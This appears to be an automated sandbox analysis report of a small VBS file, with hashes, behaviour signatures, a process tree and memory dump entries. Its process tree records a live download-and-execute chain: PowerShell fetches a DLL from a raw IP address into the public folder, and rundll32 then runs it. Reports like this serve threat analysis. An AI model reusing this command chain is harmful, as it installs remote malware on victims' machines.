Analysis

  • max time kernel
    120s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    13-09-2023 19:43

General

  • Target

    IN(11)-9-12-2023_218082.vbs

  • Size

    1KB

  • MD5

    1be17a0ac48cab72a10836953c8186b0

  • SHA1

    d5bdf81792cc2434d49bae66b1cc60027220298c

  • SHA256

    e7407a0fe469fda07809db9a264e4c423d9f740344abca7675e9e78a9ede9f3c

  • SHA512

    38a7e2121975a5ef80db59d81f3bca3fe845f4072a7b068d09707690b851b5e41ccf899ca7ff732ccb770528b772cdc2efadecf9d5a7bd34678d1c00053038f5

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IN(11)-9-12-2023_218082.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2964
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" invoke-webrequest -uri 'http://128.140.97.33/6fc0ob45c6.dll' -outfile 'c:\users\public\name.dll';
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2700
    • C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" c:\users\public\name.dll,DllRegisterServer
      2⤵
        PID:2568

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2700-4-0x000000001B190000-0x000000001B472000-memory.dmp

      Filesize

      2.9MB

    • memory/2700-5-0x0000000002490000-0x0000000002498000-memory.dmp

      Filesize

      32KB

    • memory/2700-6-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

      Filesize

      9.6MB

    • memory/2700-7-0x0000000002610000-0x0000000002690000-memory.dmp

      Filesize

      512KB

    • memory/2700-8-0x0000000002610000-0x0000000002690000-memory.dmp

      Filesize

      512KB

    • memory/2700-9-0x0000000002610000-0x0000000002690000-memory.dmp

      Filesize

      512KB

    • memory/2700-10-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

      Filesize

      9.6MB

    • memory/2700-11-0x0000000002610000-0x0000000002690000-memory.dmp

      Filesize

      512KB

    • memory/2700-12-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

      Filesize

      9.6MB